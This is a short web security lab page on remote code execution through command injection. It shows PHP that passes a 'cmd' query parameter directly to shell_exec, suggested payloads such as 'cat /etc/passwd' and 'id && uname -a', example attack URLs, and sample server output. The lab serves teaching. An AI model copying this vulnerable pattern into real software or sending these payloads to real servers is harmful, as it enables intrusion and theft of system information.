RCE through direct command execution
This lab demonstrates a basic Remote Code Execution vulnerability through command injection. The application directly executes user-supplied commands without any validation or sanitization.
Objective: Execute arbitrary system commands to gain control of the server.
// Handle command execution request
if (isset($_GET['cmd']) && !empty($_GET['cmd'])) {
$command = $_GET['cmd'];
// Vulnerable: Direct command execution without validation
try {
$output = shell_exec($command . ' 2>&1');
$command_output = $output ?: 'No output';
// Display output
} catch (Exception $e) {
// Error handling
}
}
// Example vulnerable usage:
// ?cmd=whoami
// ?cmd=ls -la
// ?cmd=cat /etc/passwd
// ?cmd=id && uname -a
total 160 drwxr-xr-x 2 kzlabsst kzlabsst 4096 Nov 26 16:46 . drwxr-x--- 31 kzlabsst nobody 4096 Apr 28 04:13 .. -rw-r--r-- 1 kzlabsst kzlabsst 23576 Nov 26 16:46 0.php -rw-r--r-- 1 kzlabsst kzlabsst 16220 Nov 26 16:46 1.php -rw-r--r-- 1 kzlabsst kzlabsst 17998 Nov 26 16:46 2.php -rw-r--r-- 1 kzlabsst kzlabsst 17816 Nov 26 16:46 3.php -rw-r--r-- 1 kzlabsst kzlabsst 20466 Nov 26 16:46 4.php -rw-r--r-- 1 kzlabsst kzlabsst 25474 Nov 26 16:46 5.php -rw-r--r-- 1 kzlabsst kzlabsst 12796 Nov 26 16:46 index.php -rw-r--r-- 1 kzlabsst kzlabsst 11 Nov 26 16:46 test.txt
cmdTry these commands in the cmd parameter:
whoami - Current userls -la - List filescat /etc/passwd - System usersid && uname -a - User ID and system infops aux - Running processesnetstat -tulpn - Network connectionsExample URLs:
1.php?cmd=whoami1.php?cmd=cat /etc/passwdClick these links to test the vulnerability: